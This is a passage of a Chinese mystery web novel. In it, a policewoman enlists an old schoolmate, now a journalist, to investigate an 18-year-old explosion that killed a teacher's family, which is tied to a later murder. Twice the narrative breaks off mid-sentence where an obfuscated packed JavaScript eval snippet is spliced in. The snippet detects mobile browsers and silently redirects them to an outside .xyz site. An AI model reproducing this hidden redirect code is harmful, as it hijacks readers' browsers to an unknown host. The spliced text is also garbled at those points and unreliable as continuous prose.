“他们都是一伙的!我说了,他们就会把我抓回去。而且我……确实偷东西了,警察抓到我,会把我关起来的。”她又一次激动起来。 “不是的,你是被迫的,法律上是可以宽容的。”章弥真解释道。 秦梓需似乎在思索着什么,片刻后她确认道:“是不是他们之中,有人反复告诫你们,警察和他们是一伙的?是不是有人也穿着警察一样的制服?” 跳桥女子点了点头。 “你跟我来。”秦梓需拉起跳桥女子的手,带着她直接往外面走。 章弥真十分吃惊,因为她发现秦梓需已经在短短几分钟内获得了这个女子的信任,她乖巧地跟着秦梓需,将自己完全托付给了她。而章弥真做到这一步,花了一整个下午。 她带着跳桥女子直接找到了负责此案的老警官,笑呵呵地对老警官道: “胡警官,我们有点小发现想和你说啊。” 胡警官正在用酒精湿巾拼命擦桌子,闻言楞了一下,还没等他反应,秦梓需就道: “关于这个姑娘的事,我有些侦查建议。首先,恒顺大楼的保安,以及附近的几幢大楼的保安,建议都可以查查,尤其重点查保安服冒充警服的情况。这附近几幢大楼的地下室,也都可以排查一下,是否有租赁人员出入的可疑情况,特别是地下室里时常会有小孩子出没。基本不会超出恒顺大楼方圆5公里,完全不必要大海捞针。” “要是实在没有头绪,可以从近期附近失窃报警的记录查起,查明白了,基本上就能揪出一个人口拐卖和盗窃团伙了。” “这……”老胡彻底懵了,求助的眸光投向章弥真。 章弥真莞尔一笑,道:“我建议你听听她的建议。” 秦梓需补充了一句:“还有就是,建议你们好好安顿她,她对你们不信任是因为被坏人混淆了视听,你们得有耐心。人我交给你了,我还有点事必须得走了,今天谢谢你们。” 说罢,秦梓需摆了摆手算作告别,准备离去。 刚要走,就被跳桥女子拽住了衣角,她还是很害怕。秦梓需安抚道:“别怕,我明天还来,这部手机你收好,有事打电话给我。” 说着,她拿起了那台被老胡反复消毒过的手机,在里面快速输入了自己的手机号码,随即递给了跳桥女子。 女子拿到手机,好像终于安心了,不再强留秦梓需。秦梓需于是转身离去,走到办公区门口,她突然想起什么,回身看向远处的章弥真。章弥真正在和跳桥女子、老胡说些什么,说完了,她也疾步追了上来。 秦梓需原地等了她一会儿,她是觉得就这么走了不等她似乎不大礼貌,难得重逢,总得交换个联系方式吧。 她下意识看了下手表,已经是下午五点半了。好家伙,时间全浪费了,好在今天该做的事还是按计划做完了,只是几乎都没成效。 “你啥事这么急?”章弥真已经走到她身边,见她看表,问道。 秦梓需本想插科打诨糊弄过去,但她忽而灵光一现,思索起来什么,盯着章弥真半晌没说话。 章弥真被她盯得发毛,不由得问:“干嘛这么看我?我脸上有什么吗?” 说着她就掏出了手机查看,黑屏镜面反射出一张姣好漂亮的脸庞,干干净净。 “你接下来有空吗?”秦梓需问。 “啊?有事?”章弥真没说有空,也没说没空。 “你情报网很强吗?”秦梓需又问。 “哦,明白了。你想打听事儿。别的不说,东海省内,我的人脉还是很足的。”章弥真不无自豪地道。 “警察查不到的情报,你能查到吗?” 章弥真很是讶异:“还有警察查不到的事?不是,你到底要查什么啊?你不说清楚,我怎么回答你?” “一句两句说不清楚。”秦梓需叹息。 “喂喂,我最讨厌说话只说一半的人。你要么给我说清楚,要么就别提。”章弥真微微有些恼怒道。 “那你如果愿意听,一会儿我请你吃饭?”秦梓需发出邀请。 “可以,年级第一求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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为什么啊?凭什么啊?章弥真还以为她只是打听私事,至多不过是托她拉个人脉,问问情况。没想到居然是正儿八经地查案。她脱口就是一句:“你不是警察吗?为啥你不查?怎么还轮到我了?” “我正在查,但需要你帮忙。” “为啥?我又不是警察。” “没事,我是就行。” “什么叫你是就行?我不是啊!我没有执法权,我也不是你的辅警,我查案那是违法的!”章弥真摆事实讲道理。 秦梓需半晌不说话,许久只憋出六个字:“我需要你帮忙。” 章弥真哭笑不得:“你找我帮什么忙啊?” “查案。” 章弥真抓狂地挠着头发,感觉自己掉进了对方设下的语言黑洞。 “你再不说我走了啊!”章弥真要发怒了。 秦梓需看着她抓狂的样子,觉得有些好笑。这么多年过去了,她还是那个急脾气。逗一逗她倒也挺解压的。 她决定入正题,于是正色起来,双手十指交叉撑在桌上,低声道:“章弥真,你还记得陈老师家的事吗?” 章弥真眸光一凝,神色凝固。片刻后,答得毫无犹疑: “记得。”那场大火任谁都永生难忘。 秦梓需接着问:“你觉得,那是事故还是刑案?” 章弥真后背立时起了一片鸡皮疙瘩。 “什么意思……难道那场大火不是意外事故吗?” 秦梓需从自己的背包里拿出PAD,打开后开启了一个PDF文档,架在饭桌侧面,面向章弥真,开始了她的陈述。 5. 第五章 PDF的第一页就是一张照片,应当是泛黄的老照片扫描后存档为电子档照片,拍得是一栋两层门面房,上额挂了一个陈旧的门头——老马早餐铺。 店铺靠右手侧摆着一个略显低矮的操作台,操作台后坐着一个坐轮椅的中年男子,胡子拉碴,看上去有些委顿。在这张照片里,他还在不停地工作,坐于配合他坐高打制的操作台边揉捏面团。 操作台内侧放置了一个油锅,油锅上方的滤网上挤着数根刚炸制出来的金黄油条。油锅边上站着一个老年男性,他正看着油锅炸油条。 与低矮操作台相对的店铺左侧摆放着一个蒸锅,上面摞着笼屉,内里大概蒸着热气腾腾的包子。蒸锅边上站着一个中年女子,戴着一副红框眼镜,扎着马尾辫,瞧上去斯文俊秀,她神情有些意外地望着镜头。 在中年女子身后,有个老年女性手里端着一碗热乎乎的豆腐脑,正走向一旁餐桌边的客人。 而在店铺正中央,有个年轻的、穿蓝白相间运动校服的长马尾女孩正笑呵呵向拍照人的方向跑来,脸上洋溢着灿烂的笑容。 “你知道陈老师家的店铺吧。”秦梓需问,她的声音听上去依旧相当冷静,可章弥真却感觉她周身的气息都蒙上了一层灰色的雾。 “陈老师家……抱歉,我其实没有去过,只是听说过陈老师家里是开早餐铺的。”章弥真的声线明显低沉下来。 秦梓需点了点头,用手里的数位笔指着上面的人物做介绍:“这个坐轮椅的大叔,是陈老师的丈夫——马军,他是伤残军人,拍照的这个时间点上,他已经伤残5年了。 “后面这个炸油条的是老马——马程,马军的父亲,陈老师的公公。这个端着豆腐脑的是马军的母亲潘秀丽,陈老师的婆婆。这家早餐铺,是他们老夫妻俩开的。 “这个不用我说,是陈老师。”她指着那个戴着红框眼镜的中年女子道,章弥真注意到她提到陈老师时,喉头滚了滚。章弥真心里也跟着难受起来。 “这个……我不知道你认不认识,她是马媛媛,陈老师的女儿,我的同班同学,我青梅竹马的挚友。”说完这句话,她一时没能继续说下去,抿着唇,好不容易将鼻腔里泛起的酸意压了下去。 “我认识,我老是看到你们俩一起,她很开朗。”章弥真望着那张照片,早已模糊的往事再次锐化浮现,犹如被修复的黑白老照片,再次变得五彩斑斓,勾动心弦。 眼前定格于照片上的一家五口,其实在十八年前的那场大火里,全部罹难。这家早点铺子,也早就变成了焦炭废墟。 章弥真想,这么残酷的事就发生在自己的身边,怎么十八年过去了,她居然还是淡忘了。记忆中的这些人,不提起,真的不会想起。时间真的可以冲淡一切,而眼前的秦梓需,却已牢牢记了十八年。 对她来说,残忍度必然比自己要严酷数倍吧,毕竟她与他们的关系要密切太多了。 “这照片是我拍的,事发当年,也就是2002年6月。中考结束后,我和媛媛最后一天去学校报道的那天早上,我用我老爸的交卷相机拍的。2个月后,8月31日晚11点41分,老马早点铺发生了爆燃……媛媛没能…没能赶上9月1日去新学校报到,我俩明明一起考进了一中……”秦梓需终于还是没能忍住,哽咽着落下泪来。 章弥真忙拽了几张餐巾纸递给她,恰好此时服务员来上菜,看到秦梓需压抑地擦眼泪,服务员一脸“发生了什么的”的惊愕表情,连服务用语都不敢说了,上完了菜就赶紧跑开了。 “抱歉。”秦梓需轻声道,喉头堵住,她清了清嗓子。 “没事,你要是难受,可以慢慢来。”章弥真的眼眶也有些发红,她看不得别人哭,别人一哭她也很容易被感染,何况面前的人还是秦梓需,她印象里从没见过秦梓需哭过。 她哭起来……可太让人心疼了。 “其实我今天是第三次讲这些了,但……不知道为什么,只有跟你说的时候,忍不住要哭。”秦梓需略有些难堪地解释道。 章弥真心头一揪,眼泪立刻就涌上来了。 她连忙拿起烤肉夹,一边忙活,一边猛眨眼睛,道:“我帮你烤肉吧,咱们先吃点东西再说。吃点东西,就舒服许多了。” 秦梓需喝了口大麦茶,平复情绪,好半晌道:“我继续说。老马早餐铺的位置在螺丝拐弯巷,这个巷子是军区家属院与机械346厂的厂子夹出来的一个巷子。我给你看一张地形图。” 说着就切了下一张图:“这条巷子就是拐弯巷,整体是南北向的。巷子的西面是军区家属院,面向巷子的是一道高围墙,大约三米多高,上面还有蛇腹铁丝网。巷子东面是346厂,这一排沿街二层门面都是厂子盖的,出租给厂里家属,安排他们做些小生意。 “当时我们家的位置就在这里,靠近军区家属院的小东门。老马早餐铺就在小东门旁,和我们家几乎门对着门,中间就隔了一道围墙和一条很窄的巷子。 “我们家住在三楼,更巧的是,我的卧室就面对着巷子,从我卧室的窗户可以直接看到对面的早餐铺。从我记事起,老马早餐铺就在了,我们家父母都很忙,没时间做饭。我每天早上都吃他们家的早点,媛媛和我同龄,我们从小玩到大,有时候我甚至还在他们家解决晚饭,几乎可以说是托管在他们家。 “我稍大一点,上小学了,会和媛媛一起在早餐铺里写作业。媛媛进不去军区,我就在他们家玩儿,一直等到父母下班来接我。陈老师那会儿下午5点就回家了,她会来看我们俩的作业,她是教数学的嘛,辅导完功课,还会教我们俩解高年级的数学题,甚至是奥数题。” 章弥真失笑,忍不住道:“原来你从那会儿就开始开小灶了啊,怪不得是年级第一呢。我的数学就一直学不过你。” “那可不是什么美事儿,我记忆里还是很怕陈老师的,不过好在媛媛没我聪明,所以挨骂的总是她。”秦梓需终于展露了一丝笑意。 “噗。”章弥真笑喷了,“你太爱媛媛了,以至于能忍受她的数学老师母亲。” “是,我是真的爱她。”秦梓需道。 这话出口,空气凝结了半秒。 秦梓需接着说: “爆燃当晚,冲击波越过了3米高的军区围墙,直接打到了最靠近巷子的那一排住宅。我们家这栋最靠近,所以首当其冲。我卧室的窗户直接破碎,你知道老式玻璃强度不高,破碎的碎片飞到了我床上,也打在了我的右侧脸上,在我的右脸和右脖颈这里都留下了一些划痕。” 说着她侧过脸去,章弥真能看到她脖颈上留下了一些放射状的如蛛网般的痕迹。 章弥真恍惚了一下,心头麻麻的。她代入一下秦梓需,感觉以当年自己的心理素质可能无法承受。 章弥真家正好在当年的7月搬去了新城区的新楼盘,因为她高中考上了外国语实验中学,新家距离学校近,全家都在为她出国做准备。 她可能是最后听说陈老师家出事的人,当时她正在高中军训。她以为自己已经足够震惊和难过,花了好一段时间才消化这个消息,也在同学群里讨论过这件事,但终究……她什么也没有做。 秦梓需经历过刚才那波情绪起伏,这会儿反倒越说越冷静了,她继续道: “我当晚早就睡了,但我记得自己半夜曾经醒来了一次,我好像听到了有人喊了一声‘你站住!’那声音很像是马军的声音。” 章弥真确认了一下:“陈老师的丈夫?” “对,但当时我睡得迷迷糊糊,我不能百分百确认是不是听到了。我被吵醒后,就翻了个身继续睡,体感似乎过去了5分钟,我迷迷糊糊又要睡过去时,爆燃突然发生了。 “那动静太大了,我整个人都吓懵了。爸妈冲进了我的卧室,见到我受伤了,连忙要把我送去军区门诊。我却不肯走,我看着对面燃烧的大火,脑子里只有一个念头:媛媛呢?我们俩明天还要一起去高中报道的呀。 “……总之,我还是被强行送去了医院,最后是军区派了人帮着消防一起灭了火,但早点铺完全烧毁了,并且波及到了旁边的两家铺子,好在人撤出来了,没有大碍。” 说到这里,秦梓需顿住,她似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997398|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是饿了,夹了已经烤好的肉送进嘴里,含混道: “先吃饭吧,免得一会儿吃不下了。” “啊?” “一会儿我会给你看一点重口味的照片,我怕你没胃口。” “不是,我这听得正上头呢,你别停住呀。”章弥真道,“我在战乱地区待过,见过世面的,没关系,你继续说。” 秦梓需咽下嘴里的食物,轻轻叹了口气,道:“那我就继续往下讲。” 她划到下一张照片,这是火灾现场的取证照片,章弥真看到的是满眼的乌黑焦炭,什么都看不清,房子里也是一片废墟。秦梓需连翻了好几张照片,章弥真没看到什么特别重口味的照片。 取证照片翻完了,秦梓需划到了一张现场示意图,道: “我直接来说爆燃后的调查报告。这是现场示意图,如我刚才给你看的那张门店照片,早点铺前店后厨,前店卷帘门的位置有左右两个炉子,都是烧气罐的煤气炉,一个油炸,一个蒸面食。两个炉子后面是四张餐桌,再往里面去就是后厨,用轻质铝框架与前堂隔开。 “这个后厨里会做炒菜,做卤味,下面条、馄饨。爆燃点就在后厨之中,铝制框架被炸飞了,上面的吊顶连带着比较脆弱的楼板也被炸塌了。这个后厨边上有一条通道可以通往后门,后门边上是上二楼的楼梯,二楼就是一家人的住宅。 “这个楼梯的下方有一个小空间,里面塞了一张床,是马军晚上睡觉的地方,他腰部以下瘫痪,没办法上楼,所以一直就在一楼睡。家里其他四人都睡在二楼。 “火扑灭后,消防和警察进入现场,发现陈老师就被压在吊顶下方,也就是说死在了后厨中。马军的尸体被发现出现在靠近后门的位置,他坐在轮椅上,被爆炸后的铝制门框直接打翻过去,后窒息而死。 “老两口和媛媛的尸体则是在前堂卷帘门附近,他们不是从楼上逃下来的,而是二楼楼板被炸塌后掉下来的。” 她翻到下一张照片,是门面房后侧的照片:“这是后门,也是平时马家人出入的玄关门,这个门是个防盗门,晚上是上锁的。房子地基和外面的地面有落差,所以后门门口砌了一个斜坡,是老马用砖头和水泥砌成的,方便马军的轮椅出入。 “你仔细看这里,这个斜坡上有个脚印,很清晰。” 章弥真凑过去放大看,确实有个脚印,也很清晰,就连她这个外行都能看出来像是帆布鞋踩的,鞋码不小,应该是男性的脚印。 “这个案子有好几个疑点,这是其中最重要的一点。案发当天下午,这个斜坡刚刚重新抹过水泥,因为老马不是专业的泥瓦工,他活的水泥总是强度不够,这个斜坡在长期的磨损和承压过程中,必定会损坏,老马大概是过个半年就会重新砌一次,当天下午正好刚重新抹过水泥。结果当天晚上爆炸后,我们就在这个斜坡上找到了这个新鲜的脚印。 “后门是在346厂的厂院里,里面也不是随便出入的,平时偶尔也会有厂里的熟人来后门串门,但看到斜坡刚抹了水泥,绝不会故意去踩。这个鞋码有42码,说明踩出它的人是个体型与成年男子无异的人。 “很难说这个脚印是不是和爆炸有关系,但疑点毕竟是存在的。当时是大夏天,据我所知,马军晚上喜欢坐在后门乘凉抽烟,看院子里的孩子玩闹,一般9点前后门都是开着的。如果有人故意来踩他肯定会阻止,也就是说,这个脚印出现在晚9点之后,爆炸发生在11点多,你不觉得这个脚印出现得很可疑吗?” “确实……但有没有可能是救火的人踩的?”章弥真问。 “这个可能性可以排除,当时火势太大,且还在不断发生爆燃。根本无人能靠近到门口,非常危险。消防拉了封锁线,隔了老远打水枪,才把火势控制住。346厂后院那里,就有一台消防车,后门范围都是消防的封锁范围,就算消防踩到了,也不该是这种脚印,他们穿得都是制式胶鞋,这明显是帆布鞋的鞋印。” 秦梓需接着道:“再结合我听到的马军那一声喝止‘你站住!’我有理由怀疑,当晚可能有什么人闯入了马家。” 6. 第六章 章弥真陷入沉思,秦梓需长长叹了口气,道:“但是……仅凭一个脚印,很难直接强行认定就是刑事案件,我听到的喝止声由于是我睡梦中听到的,也很难确定是不是真实存在的。所以……” “这些情况你当时有和警方说过吗?”章弥真问道。 “说过的,为了排除纵火的刑事案件可能性,警方有走访过附近居民,我当时汇报了这件事,但他们显然没当回事。我爸妈也让我不要乱说,怕扰乱了办案。到最后,这个案子还是被定性为煤气爆燃事故。”秦梓需很无奈。 章弥真认为警方不采信也有道理,办案凭的是证据,而不是胡乱猜想,何况死者与秦梓需关系密切,她当年还是个孩子,证词多半非常情绪化,就更难采信。 她问:“那你说的其他疑点是什么?” 秦梓需伸出两根手指,道:“还有两个,一个是后厨的窗户,一个就是家里人死亡的位置。” 她见章弥真不大理解,于是放大了那张铺子后门照片,拨到后厨窗户的位置,指着月牙锁的位置道:“月牙锁在爆炸发生时,是开着的状态。这很不正常,因为从窗锁上的油渍痕迹可以判断,这窗锁常年是关着的。 “其次,就是家里人死亡的位置。爆炸发生时,是深夜11点41分,这个时间点对于做早餐生意的人来说,早就是熟睡的时间点了。马家人的作息从来都是早睡早起,他们通常最迟晚上9点就要睡觉,早上4点多就起来了。我知道陈老师习惯于早上起来批改作业,就连马媛媛都是早睡早起的作息,她有时候晚上作业写不完,会早上起来再写,效率反而高。 “但是,陈老师死在了后厨里,被炸塌的吊顶压住,这说明她在爆炸发生时,人就在后厨里。那个时间点,她不睡觉在后厨里做什么?还有马军,他当时也没睡,坐着轮椅靠近到了后门的位置,这也很奇怪。 “只不过,这些说到底只是疑点,只能说明当天晚上确实发生了一些特殊情况,但无法证明这起案件是纵火案件。由于现场烧毁严重,绝大部分有侦查价值的东西都毁了,再加上那个年代监控不发达,附近压根没有监控。所以什么也查不出来。” 章弥真手底下忙着烤肉,却没耽误她跟着思考。秦梓需说完,她就点了点头,道: “我明白了,你打算翻查这桩18年前的旧案,但苦于没有证据证明这是刑事案件,很难推动重启调查,所以你只能自己来查。那……你想让我查什么?” 一边说着,她一边将新烤好的肉放进了秦梓需的碗里。秦梓需不怕烫,夹起来送进嘴里,道: “我让你查的不是这个案子,因为这个案子现在陷入了死局,任谁也查不明白,只有从其他的方面入手。” “什么意思?”章弥真手中烤肉夹子一顿,挑起眉毛,只感觉今晚秦梓需带给她太多的意外。 “你吃啊,就见你烤肉,自己却不吃。”秦梓需不回答,却劝她吃。 “我是不是说了我很讨厌别人说话只说一半?”章弥真眯起眼,口气不善。 “但……我要是继续往下说,真的会影响胃口。”秦梓需说着,又塞了一大口肉进嘴,大嚼特嚼。 章弥真被气笑了:“喂!你嘴里说的话和你的行为,完全不匹配啊!” “我怕我现在不吃,一会儿吃不下全浪费了,所以能塞就塞一些进去。”秦梓需鼓着腮帮子解释道。 章弥真翻白眼,只觉得不可理喻。她干脆自己往下翻PDF,结果下一张图就把她震住了,她喉头滚了滚,自胃里泛起酸水,将欲作呕。 秦梓需眼疾手快切换了下一张图,章弥真拿起毛巾捂住口鼻,闭上眼想要尽快忘掉刚才看到的东西,然而刚才那张照片已然顽固地残留在她的视网膜上。 天哪……那是什么东西?人头吗?而且还是个面目全非的腐烂人头。 烤肉的味道钻进鼻腔,她再也无法涌起一丝一毫的食欲,而是一阵一阵地犯恶心。 “我提醒过你了哦。”秦梓需弱弱道。 “你今天……你今天不把话说清楚,我和你没完,秦梓需!”章弥真真的生气了,她有种秦梓需在恶搞她的感觉。 “你别生气,先喝口茶缓缓。” “托你的福,我现在吃不下任何东西。点的这些菜,你能吃就吃了,不能吃就打包。我出去透透气,一会儿我们去车上谈。”章弥真拉下脸来,直接离席而去。 秦梓需望着她离去的方向,撅了下嘴,嘟囔道:“凶死了,还是和当年一模一样。” 十分钟后,秦梓需提着打包袋子走出了烤肉店,一眼就望见章弥真正靠着她的理想ONE抽烟。夜幕霓虹灯下,青烟在她的唇边丝缕缠绕飞散,她修长的双指夹着纤细的女士烟,眉目间凝着忧郁不安,眼角的妩媚感淡去,反显得脆弱,惹人怜惜。 秦梓需微微怔愣,此时的章弥真,却又陌生起来。 她缓步上前,章弥真见她来了,将烟头掐灭在旁边的垃圾桶灭烟口上,用大拇指指了指自己身旁的车,道:“上车。” 说着她就绕到了驾驶座上。 好家伙,江湖气上来了。秦梓需老老实实地上了副驾,抬手把打包的食物放在了后座上。 “干嘛给我,一会儿你带回去吃吧。”章弥真皱眉。 “本来就是请你吃的。”秦梓需道。 “我谢谢您,我吃饱了!”章弥真再次来气。 秦梓需连忙抬起双手做投降状:“好好好,我带回去,我带回去。” 车内一时沉默,片刻后,秦梓需刚要开口询问,章弥真就没好气道:“继续讲吧,到底怎么回事?” 秦梓需小心翼翼打开PAD,放在了驾驶台上,上面已经不是那恐怖的人头照片了,而是一张人物画像。 这是个中年妇女,瞧上去十分普通,典型的中国女人长相,难说有什么突出特征。瘦削、面庞凹陷,看上去有些沧桑,但神情坚毅,像是受过良好教育的、有心气的人。 画像之人的手法很高超,人物绘制得栩栩如生,纸张的下角还留了一行字:可能近视,配戴眼镜。 秦梓需清了清嗓子,道:“这就是那个……的画像。我接下来说的话涉密,给你看这些资料,我已经涉嫌违法了。我会尽量收着讲,所以你也别多问,我不说的都是暂时不能说的。 “2005年8月31日早间7点左右,华阳至北京铁路线雒城附近铁道上,一名铁道巡查员无意间发现了铁轨边有个黑色篮球包,打开后发现里面是一颗煮熟的人头,用保鲜膜裹了好几层,于是报警。 “人头由于被煮熟,本就烂了。再加上从高处坠落磕碰,碎得厉害,法医全力拼接完整,只能初步判定是一个女性人头。雒城当地警方一筹莫展,请了当时公安部最厉害的画像师——张鑫警官为这颗人头摸骨画像,绘制了一张中年女性的画像,并在铁路沿线多个省市张贴。 “不久后,真就有两条目击者信息,一条来自于咱们的母校胥城中学,教务主任说这个女人3年前来找过陈老师,但陈老师当时已身故。” “什么?这个女人来找过陈老师?”章弥真头皮炸开了。 秦梓需神色凝重,点头道:“对。2002年,陈老师身故后没多久,大概是9月刚开学后。她得知陈老师家的事后,脸色煞白地离去。由于女人的下颌有一颗痣,且当时她在教师办公室哭得很伤心,让人印象很深刻。但关于这个女人是谁,学校一概不知,只知道是陈老师的朋友。 “第二条目击信息时间点是案发后,来自于胥中旁那家补习学校的大堂保安,他说他见过这个女人,她是来应聘补习老师的。她来的时候,补习学校的负责人正在上课,无暇来接待她,保安便让她在大堂等待。她一直等到下课,学生都出来了,她却直接离去了,没有和负责人见面。这一幕被监控捕捉到了,虽然只有背影,但好歹拍到了受害者当时的穿着。 “当时这个女人穿着玫红色T恤,蓝色牛仔裤,身上还背着个鼓鼓囊囊的双肩包,看上去风尘仆仆的。她并未告知保安她的姓名,因此并无更多线索。 “多年来,警方一直在大海捞针一般地筛查失踪信息,可惜的 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“确实很古怪。按常人的心理,得知熟悉的人去世了,大概率会远离伤心地,走不出来的,守着故人曾经在的地方怀念过去,也算合理。但她哪个都不是……”章弥真思索道。 秦梓需推测道:“她的这个行为,我认为是在寻找什么人。她要找的人,也许跟陈老师家里的事有关。她找到了补习学校,她要找的人不是补习机构里的老师,就是学生。不论她有没有找到她想要找的人,她都被盯上了。” “那你想让我查什么呢?”章弥真今天不知是第几次问出这个问题。 秦梓需将PDF划到最后,这是一份奇怪的列表,上面有大量的字母和数字,看上去像是座位号: “我和我师父,哦,我还没告诉你,画像师张鑫就是我的师父。我和我师父用了5年,将这个女人死亡前后全国所有的失踪报案记录筛查了一遍。筛完后的名单还有256人,截至目前有一些人找到了,一些人确认死亡,范围已经不能再缩小了。 “此外,还有一份名单。铁道巡查间隔2小时,上一趟还没有发现那个包。警方于是将事发前2小时途径那段铁路的十多趟列车上的人员名单全部尽力筛了出来,当时也是下了苦功夫,踏破铁鞋才搞出这样一份名单。那个时候铁路没有安检,更没有实名制购票,查起来实在是太难了。 “后来案子陷入了僵局,只剩下公安部的几个专家还在时不时盯着这个案子。 “我和我师父做了一个大胆的假设,假设这个女人当年来胥城的目的,就是查陈老师家的事故。而她就是被害死陈老师家的凶手给灭口了。那么,凶手杀害她后,很可能就是从胥城上车,半途将她的头颅抛下列车。凶手有可能是老师,也有可能是学生。再假设在斜坡上留下帆布鞋脚印的主人,就是杀害这个女人的凶手,那么此人大概率是男性,身高在175-185公分间。 “符合这些条件的乘客,筛出来还有好几百人。范围还是太大了,我怎么都……怎么都无法再更进一步。” 秦梓需发泄似地锤了一下身前的驾驶台,章弥真没有说话,她已经深切感受到查这种悬案到底有多难了。 这么多年,秦梓需到底是怎么过来的?她当警察,也是为了查当年的事吗? 秦梓需深吸一口气平复情绪,最后道:“我想,我还是得回到原点。一切的原点是陈老师,还是从查她开始。我不知道你有没有人脉,就从查陈老师的全部经历开始。她从小到大,走的每一步,接触到的每一个人,我希望都能搞得清清楚楚。” “你没查过吗?”章弥真疑惑问。 秦梓需苦笑:“查过,她的人生简简单单,一清二楚,正是因为如此,我真的迷茫了。我不知道自己到底漏掉了什么,我感觉警方这里能查到的关于陈老师的讯息,真的到此为止了,我必须寻找其他的渠道。 “所以,事情就是这样,你愿意帮我吗?” 秦梓需希冀地看向章弥真,章弥真却没看她,她目光穿透前挡风玻璃望向道路远端,半晌道: “我考虑一下。” 7. 第七章(投雷加更No.1) 早上七点半,胥城高新产业园的街道上已塞满了上班族的车辆。 章弥真驾驶着自己的理想拐进了熟悉的东海日报数字媒体中心大楼的地下停车场,在车位上停稳,她斜挎运动单肩包,踩着雪白的板鞋走下车来。淡灰色的西服套装,内搭一件简单的白衬衫,长卷发披散在肩头。 今天她没戴隐形眼镜,戴了一副无边眼镜,镜片后的双眼眼底发青,布满血丝。 她脚步飞快地赶电梯,打卡,进入了办公区。半路上遇着打扫卫生的清洁工梅姐跟她打招呼: “这么早啊真老板?” “真老板”是她在数媒中心的外号,她素来雷厉风行,能扛事儿能担责,敢想敢干,手下工作室的业绩也总是最好的,大家心甘情愿跟她做事,故而得名。 “梅姐早。”章弥真简略打了声招呼,就往她们工作室所在的B区而去。 梅姐有些诧异地多看了她一眼,心道真老板好像今天心情不大好,往日里她都会和自己多聊几句的。 章弥真进了自己的办公室,她的办公室套在大办公室的内间,大办公室有4个工作台,分属她手底下的四位干将。 穿过大办公室时,她本以为自己第一个到,结果突然从角落的沙发里蹦起来一个人,喊了她一声: “姐?你怎么这么早啊?” 章弥真吓了一跳,定睛一瞧,发现居然是孙影。孙影是工作室的数据分析师兼新媒体运营,26岁的女孩,戴着厚厚的眼镜,个子不高,长相乖巧,但做数据可视化非常厉害。 “小影?你怎么回事,昨天没回去?”章弥真道。 “嗯……昨天有个数据错了,紧急加班改到了晚上十点多,懒得回家了。”孙影揉了揉眼睛,站起身来,戴上了眼镜。 “还是二季度经济状况的那篇稿子,改了多少回了,罗大嘴他们组搞数据不行啊……”章弥真蹙着眉头嘟囔了一句。 “嗨……”孙影打着呵欠挠了挠头发。 “快洗漱去,我让吴妈给咱带早餐了,一会儿就到了。”章弥真说着就背着包往自己办公室去。 她将包甩在身后的沙发上,仰倒在自己的办公椅上,望着办公室的天花板吊顶,只感觉眼前一阵眩晕。闭上眼,溢满大脑的杂乱思绪冒头。 伴随着智能手机的普及,传统媒体为了不被彻底淘汰,绝大部分都已自我革新,跑步进入了数字媒体时代。东海日报本来是华东地区最权威的地方性大报,也是第一批自我革新的官媒。 数媒中心就是大概10年前落成的,章弥真入职后在这里上班也满6年了。 干媒体这个行当,加班是家常便饭,但凡有突发事件,不论人在天南海北,都得原地加班。所以办公室里会出现床和沙发,也实在是再正常不过。绝大部分员工在公司都有全套家当,换洗物品一应俱全。 数媒中心的7楼是健身中心,有浴室,6楼是食堂,从早上6点供应到晚上11点,为员工加班提供了充足的条件,如果是单身员工,甚至连租房的必要都没有了。 数媒中心分了好几个工作组,每个工作组都有个牵头人,是业内有些名头的大媒体人,各有所长,各自负责几个细分领域的报道。 章弥真有美国留学背景,同时还在中东待过三年时间,流利掌握英语、法语和阿拉伯语,追踪过叙利亚2011年~2015年的内战长达3年时间。6年前她离开央媒,被东海传媒集团高薪挖角,她牵头的工作室专门负责国际局势专题,同时应她的要求,东海日报会将国内重大刑事案件的专题报道权优先给她。 其实让章弥真真正在业内名声大噪的长篇报道,正是刑事案件专题。5年前,她刚回国没多久,就胆大包天地深入虎穴,报道了一起特大涉黑拐卖案,先于警察一步揭开了罪恶一角。从此以后,她被不少人视作媒体尖刀,也被警方当成了洪水猛兽,她和很多警方高层都很熟,所有人都对她很客气,逢年过节还会收到公关送礼。 不过章弥真主动与官方保持着距离,免得被人说是被收编了。 这两年她们日子也不算好过,自媒体崛起,发声的渠道越来越多,再加上某些同行的不良行为,媒体人普遍公信力下降,被调侃为“学新闻学”的,业内绝大部分人都闷着一口气。 这两年各个工作组挂牌成立了工作室,除了基础工资还由公司发放,绩效全凭个人能力。各个工作室纷纷开始带货、接广告,饶是章弥真这样不缺影响力的媒体人,也必须要分出不少精力去做这部分业务,否则她手底下的孩子们就得跟着她喝西北风了。 章弥真其实心很累,她一直想安心地做新闻,践行入行时的初心,把真相带给公众。但她觉得自己好像距离真相越来越远了,每天只是在杂乱的资讯超市里无头乱撞,跟着热卖促销的风潮拥挤疯抢,拿到跟别人一样的热销食材,烹饪出相同的陈词滥调。 她不想这么做,但不这么做就没有流量,很快就会被淘汰,工作室一家老小全都得饿死。 好在主营的国际局势板块还是挺红火的,带来的流量不差,暂时活下去无虞。 若想要做触达人心的深度内容,还得是国内的刑案。可伴随着国内治理水平的上升,国内刑事大案越来越少了,她不指望能在这方面有所突破。 她只是有一些独属于她的小执念,还记得自己当年揭开黑幕,带给公众真相时的成就感无与伦比,她很希望自己能再有一篇深度报道,不枉她做新闻这么多年,证明她不是躺在功劳簿上吃老本。 她感觉自己浮空已久,是时候该往下沉一沉了。 就在这个思变的节骨眼上,秦梓需这个家伙一头撞进了她的视野,带给她掀飞天灵盖的爆炸消息。以章弥真的职业素养,其实她早就该饿虎扑食了,然而她竟然犹豫了起来。 